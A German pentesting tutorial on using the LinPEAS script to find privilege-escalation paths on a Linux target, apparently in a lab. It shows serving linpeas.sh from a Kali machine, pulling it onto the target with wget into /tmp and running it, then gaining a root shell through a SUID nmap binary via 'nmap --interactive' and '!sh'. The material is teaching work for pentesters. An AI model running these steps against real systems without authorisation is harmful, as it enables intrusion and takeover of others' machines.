LinPEAS ist ein Skript für Linux-Systeme, das entwickelt wurde, um Rechteausweitungsangriffe (Privilege Escalation) zu identifizieren. Das Skript ist so entwickelt, dass es auf potenzielle Sicherheitslücken, schwache Berechtigungen, Misskonfiguration oder ungeschützte Dateien prüft. Nach Prüfung weitere Aspekte des Systems wird dem Benutzer ein ausführlicher Bericht über Sicherheitsprobleme mit Kritikalitätseinstufung geliefert.
Inhalt
ToggleLinPEAS kann einfach und schnell über Github heruntergeladen werden. Hier der Link: https://github.com/carlospolop/PEASS-ng/releases
Achte dabei, dass du das Skript auch mit der Dateiendung .sh
abspeicherst bzw. nicht veränderst, da es sich um ein „Shell“-Skript handelt.
Falls du noch wenig Erfahrungen mit Github haben solltest und zu einem späteren Zeitpunkt das Skript (oder auch andere) herunterladen möchtest, aber den Link nicht parat hast, kannst du folgende Schritte befolgen:
Schritt #1: Googlen
Geben den Suchbegriff „linpeas github“ ein. Du solltest in der Regel direkt im ersten Eintrag (ohne Anzeigen) den richtigen Link angezeigt bekommen.
Schritt #2:Releases
Suche auf der rechten Seite nach den Bereich Releases und klicke dort auf den entsprechenden Eintrag. Dort solltest du dann ebenfalls die „linpeas.sh“ Datei finden
Schritt #1: Tool für Dateitransfer auf dem Zielsystem identifizieren
Im Zielsystem benötigst vorerst ein Tool mit der du Dateien von deinem Kali aufs Zielsystem transferieren kannst. Das geht z. B. mit Tools wie wget oder curl. Prüfe das mit
which wget
oder
which curl
Beispielsweise befindet wget auf dem Zielsystem. Das erkennst du daran, dass der Pfad zu wget angezeigt wird. Falls wget nicht vorhanden wäre, würdest du eine Fehlermeldung bekommen, in der sowas wie „xyz konnte nicht gefunden werden“ stehen würde. Bei manchen Betriebssystemen bekommst sogar keine Rückmeldung.Benutze wget um linpeas.sh von deinem Kali auf das Zielsystem zu kopieren.
Schritt #2: HTTP Server aufsetzen
Damit das Zielsystem das Skript von deinem Kali „abholen“ kann, kannst du schnell und einfach einen simplen HTTP-Server mit Python3 aufsetzen. In diesem Beispiel wird Port 8080 würden Datentransfer genutzt.
python3 -m http.server 8080
Mit dem Server kann nun kommuniziert werden. Beispielsweise können Dateien dort platziert oder angefordert werden. Dabei kommt es drauf an, in welchem Pfad der Server gestartet wird. Alles was in Pfad zur Verfügung steht kann für den Datenaustausch genutzt werden. In diesem Fall befinden wir uns im /opt
Ordner, wo sich bis Dato linpeas.sh und ein Microsoftordner befindet.
Schritt #3: linpeas.sh auf das Zielsystem kopieren
Wechsle auf dem Zielsystem mit cd /tmp
in den Ordner für temporäre Dateien. Am besten gewöhnst du dir das an, da alle User üblicherweise in diesem Ordner alle Rechte habe, sprich schreiben, ausführen und lesen. Kopiere jetzt linpeas.sh mit wget von deinem Kali auf den Zielrechner. Das machst du mit:
wget http://10.0.2.10:8080/linpeas.sh
Achte darauf, dass du den gleichen Port angibst, mit dem du den Server aufgesetzt hast.
Das der Download erfolgreich war, siehst du ebenfalls anhand der Statusmeldung auf deinem Kali. Der HTTP Statuscode 200 und der Dateiname der vom dem Server abgeholt wurde – nämlich linpeas.sh – validieren den erfolgreichen Dateitransfer.
Aufgrund dessen, dass der User user die Datei in den Ordner kopiert bzw. erstellt hat, ist er der Eigner der Datei. Dennoch hat er aktuell nur Schreib- und Leserechte auf die Datei, alle anderen nur Leserechte. Folglich ist die Datei noch nicht ausführbar. Nimm dir ruhig Zeit um folgenden Screenshot zu verinnerlichen.
Die notwendige Berechtigung vergeben wir mit chmod
.
chmod +x linpeas.sh
Wenn du die Berechtigung mit ls -l
prüfst, sollte nun ein x
(execute) da stehen, was davor noch nicht da war.
Nun kannst du das Skript laufen lassen. Gebe dafür diesen Befehl ein.
./linpeas.sh
Hinweis: Punkt und Schrägstrich ./
muss unter Unixsystemen immer angebeben werden, falls du ein Skript per Kommandozeile ausführen möchtest. Damit sagst du, dass die Datei in dem aktuellen Verzeichnis gesucht und wenn gefunden, ausgeführt werden soll.
Ein paar Sätze noch zur Lengede: Sollten dir Hinweise mit roter Schrift mit gelbem Hintergrund angezeigt werden, stehst du möglicherweise kurz davor den Jackpot zu knacken. Diese Hinweise haben eine sehr hohe Wahrscheinlichkeit zur Rechteausweitung. Alles andere Bedarf eine genaueren Untersuchung.
Schritt #1: SUID
Während dem durchforsten der Ergebnisse, sollte dir auffallen, dass das SUID für nmap gesetzt ist, welches sich auf dem Zielsystem befindet. SUID steht für „Set User ID“ und ist eine Berechtigung in Unix-basierten Betriebssystemen. Wenn eine Datei mit SUID-Berechtigung ausgeführt wird, erhält sie temporär die Rechte des Dateibesitzers, wodurch ein normaler Benutzer vorübergehend privilegierte Aktionen ausführen kann, als ob er der Dateibesitzer wäre. In diesem Fall ist der Besitzer von Nmap root. Bei der Ausführung von Nmap kann nun ein User die Rechte von root temporär erben.
Schritt 2#: Methode zur Rechteausweitung
Nmap in den Versionen 2.02 bis 5.21 haben die Funktion über Nmap Befehle auf dem System auszuführen. Jegliche Befehle würden in diesem Fall mit root-Rechten ausgeführt werden. Daher lohnt es es mal diesen Vektor zur Rechteausweitung auszuprobieren. Gehe dazu in den interaktiven Modus. Dadurch nimmt Nmap Befehle entgegen, die per root ausgeführt werden.
nmap --interactive
Im folgenden siehst du, dass die Kommandozeile von Nmap gestartet wurde und bereit ist, Befehle entgegen zu nehmen.
Schritt 3#: Rechte ausweiten
Um deine Rechte auf root-Rechte auszuweiten, kannst du eine neue Shell im Kontext von root starten. Rufe zunächst das Hilfemenü mit h
auf. Du wirst sehen, dass mit einem vorausgehenden !
Shellbefehle ausgeführt werden können. Das kannst du zur Rechteausweitung ausnutzen. Gebe daher
!sh
ein, um deine Rechte auf root-Ebene hoch zu eskalieren. Durch die Angabe von sh
(shell) wird ein neuer Kommandozeilenprozess im Kontext von root gestartet.
Um deine Rechte zu prüfen, kannst du id
eingeben. Du wirst sehen, dass das euid Attribut nun root-Rechte besitzt. In Unix-Systemen steht „euid“ für „effective user ID“ und repräsentiert die Benutzeridentität, die tatsächlich für die Ausführung eines Prozesses verwendet wird. Dies ermöglicht vorübergehend die Rechte eines anderen Benutzers zu übernehmen, um bestimmte Aufgaben auszuführen, während Nmap selbst unter der ursprünglichen Benutzeridentität (root) läuft. Vorübergehend heißt in diesem Sinne, bis die Kommandozeile bzw. der Kommandozeilenprozess geschlossen wird.
HTTP Server
Bei dem Transfer von LinPEAS von deinem Kali zum Zielsystem, hast du einen HTTP-Server aufgesetzt. Bedenke, dass JEDES System/Rechner/etc. mit deinem Server kommunizieren kann, was sich im gleichen Netzwerk wie du befindet. Behalte das im Hinterkopf, falls du dich in einer unsicheren/gefährdeten Umgebung befindest und einen Server starten möchtest.
Menge an Output
Die Menge an Output von LinPEAS ist immens, da etliche Analysen in den Ergebnissen dargestellt werden. Das kann für ungeübte Augen erst einmal überfordernd sein. Dennoch ist LinPEAS in der Pentester-Community ein beliebtes Tool. Ein gute Alternative bietet bspw. das „Linux-Smart-Enumeration“ Skript. Es stellt Ergebnisse relativ übersichtlich dar, da es im Defaultlevel nur die wirklich essentiellen Informationen anzeigt. Die Levels der Darstellung können Default, Level 1 und Level 2 einnehmen. Hier der Link zu dem Skript: https://github.com/diego-treitos/linux-smart-enumeration
Antivirus
Das Skript führt viele Prüfungen durch. Dadurch ist die Wahrscheinlichkeit gegeben, dass das Antivirusprogramm anschlagen kann. Falls du einen autorisierten Pentest durchführen möchtest, solltest du den Einsatz von Tools wie LinPEAS mit dem Projektteam besprechen.